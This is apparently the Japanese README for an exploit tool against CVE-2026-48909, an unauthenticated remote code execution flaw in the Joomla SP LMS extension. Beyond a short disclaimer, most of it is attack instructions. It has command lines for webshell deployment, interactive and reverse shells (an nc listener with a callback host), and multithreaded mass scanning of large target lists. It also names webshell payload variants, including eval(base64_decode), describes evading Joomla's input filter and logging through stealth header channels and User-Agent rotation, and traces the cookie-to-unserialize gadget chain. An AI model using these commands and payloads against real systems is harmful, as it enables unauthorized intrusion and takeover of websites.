[!IMPORTANT]
認可使用のみ。 このツールは、セキュリティ研究、教育、および自分が所有するか、明示的な書面による許可を得たシステムのテストを目的としています。コンピュータシステムへの許可のないアクセスは違法です。作者は誤用による責任を負いません。
目次
概要
CVE-2026-48909 は、Joomla SP LMS 拡張機能における深刻な認証不要のPHPオブジェクトインジェクションです。このツールは攻撃チェーン全体を実装しており、セキュリティ専門家がラボまたは許可された環境で影響を検証できるようにします。
検出、パス探索、ペイロード配信、対話型のポストエクスプロイテーション(許可されている場合)、大量評価、およびオプションのクリーンアップをカバーします。
脆弱性の詳細
| 属性 | 値 |
|---|
| CVE ID | CVE-2026-48909 |
| CVSS | 9.5 (重大) |
| 攻撃ベクトル | ネットワーク — 認証不要 |
| 影響 | リモートコード実行 |
| 影響を受ける製品 | Joomla SP LMS |
| 影響を受けるバージョン | 1.0.0 – 4.1.3 |
| 修正バージョン | SP LMS 4.1.4+ |
| ガジェットチェーン | Joomla < 5.2.2 が必要 |
互換性マトリックス
| コンポーネント | バージョン | RCE |
|---|
| SP LMS | < 4.1.4 | 脆弱 |
| SP LMS | ≥ 4.1.4 | 修正済み |
| Joomla | < 5.2.2 | ガジェットチェーン使用可能 |
| Joomla | ≥ 5.2.2 | ガジェットチェーン修正済み |
機能
コア
| 機能 | 説明 |
|---|
| 認証不要のエクスプロイト | 資格情報不要 |
| 複数のペイロード | 7種類のウェブシェル / 実行バリアント |
| 対話型シェル | 展開後のコマンド履歴セッション |
| パス探索 | 自動的な書き込み可能パスのプロービング |
| クリーンアップ | テスト後に展開したウェブシェルを削除 |
評価と運用
| 機能 | 説明 |
|---|
| 大量スキャン | マルチスレッドのターゲットリスト(1000以上) |
| プロキシ対応 | HTTP/SOCKS(Burp, ZAP など) |
| リバースシェル | リスナーベースのペイロード |
| ステルスモード | ヘッダー / POST 指向のコマンドチャネル |
| ランダム化 | UUID シェル名、User-Agent ローテーション |
| レポート | JSON、HTML、CSV としてエクスポート |
| 検出支援 | Joomla バージョンチェック、--check-only、--safe-mode |
回避に関する注意事項
- 可能な場合は Joomla の
cmd フィルターでブロックされる文字を回避
- Base64 パディング / スラッシュの問題を減らすために、PHP 書き込みパスを16進エンコード
- 設定可能な遅延と User-Agent のローテーション
- 複数のインジェクション / パス候補にわたるリトライロジック
インストール
前提条件
- Python 3.6+
pip
- テスト対象へのネットワーク到達可能性
セットアップ
cd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
依存関係
requests>=2.31.0
urllib3>=2.0.0
argparse は Python 標準ライブラリに同梱されています。pip でインストールする必要はありません。
クイックスタート
https://target.example はラボまたは許可されたターゲットにのみ置き換えてください。
単一ターゲット — パス探索 + 対話型シェル
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
安全なチェック(エクスプロイトなし)
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
大量スキャン
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
リバースシェル(許可されたラボ)
# リスナー
nc -lvnp 4444
# エクスプロイトホスト
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
使用方法ガイド
パス探索
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
既知の書き込み可能パス
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
対話型セッション
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
ワンショットコマンド
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
ステルスペイロード + 対話型
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
プロキシ(Burp / ZAP)
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
クリーンアップ
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
ターゲットリストの形式
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
コマンドリファレンス
ターゲット
| 引数 | 説明 |
|---|
target | 単一ターゲットのURL |
--targets, -T FILE | ターゲットのファイル(1行に1URL) |
--path PATH | ウェブシェルの絶対サーバーパス |
--shell-type TYPE | minimal, standard, stealth, base64, full, reverse, blindshell |
--shell-name NAME | ウェブシェルのファイル名(デフォルト: x.php) |
ネットワーク
| 引数 | 説明 |
|---|
--timeout SECONDS | リクエストのタイムアウト(デフォルト: 15) |
--insecure | TLS証明書の検証をスキップ |
--proxy URL | 例: http://127.0.0.1:8080 |
--random-ua | User-Agentをローテーション(デフォルトで有効) |
--delay SECONDS | リクエスト間の遅延 |
リバースシェル
| 引数 | 説明 |
|---|
--reverse-host HOST | リスナーホスト |
--reverse-port PORT | リスナーポート |
モード
| 引数 | 説明 |
|---|
--interactive, -i | 展開後の対話型シェル |
--check-only | 脆弱性チェックのみ |
--safe-mode | 非破壊テスト |
--find-path | 書き込み可能パスを自動検出 |
--cmd COMMAND | 1つのコマンドを実行して終了 |
--cleanup PATH | 指定パスのウェブシェルを削除 |
--cleanup-after | エクスプロイト後にクリーンアップ |
大量スキャン / レポート
| 引数 | 説明 |
|---|
--threads NUM | ワーカースレッド数(デフォルト: 10) |
--export FILE | 結果の出力パス |
--export-format FORMAT | json, html, csv(デフォルト: json) |
ログ
| 引数 | 説明 |
|---|
--log-file FILE | ログをファイルに書き込み |
--quiet, -q | クワイエットモード |
--verbose, -v | 詳細出力 |
--no-banner | バナーを非表示 |
ペイロードタイプ
| タイプ | 動作 | 一般的な用途 |
|---|
minimal | コンパクトなGETベース実行 | スペース制限 / クイックテスト |
standard | GET + POST cmd(デフォルト) | 一般的な評価 |
stealth | X-Cmd ヘッダーを介したコマンド | URLログの削減 |
base64 | POST経由の eval(base64_decode(...)) | フィルター回避ラボ |
full | GET/POST + base64チャネル | より広範な制御 |
reverse | コネクトバックシェル | 持続的なラボアクセス |
blindshell | 代替インクルード / 実行パターン | 制約のある環境 |
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
攻撃チェーン
flowchart TD
A["Attacker-controlled lmsOrders cookie"] --> B["unserialize() in cart.php"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — PHP drop"]
D --> E["Webshell on disk"]
E --> F["Remote command execution"]
技術概要
- シンク —
components/com_splms/models/cart.php は base64 デコードされた lmsOrders クッキーを unserialize します。
- ガジェット —
Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() がファイルシステムへの書き込みをトリガーします。
- ペイロード — PHP 本体は16進エンコードされ、フィルターされる base64 文字(
/, =, +)を避けるために長さがパディングされます。
- 実行 — ドロップされたスクリプトが要求され、OS コマンドが実行されます。
入力フィルターのバイパス(概要)
Joomla の cmd フィルターは /, =, + を削除する可能性があります。このツールは以下で補償します:
- 書き込みコンテンツを16進としてエンコード
- シリアル化 / base64 形式をパディングして不正文字を回避
- フィルターセーフなペイロードが生成されるまで候補を反復
出力例
対話型セッション
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit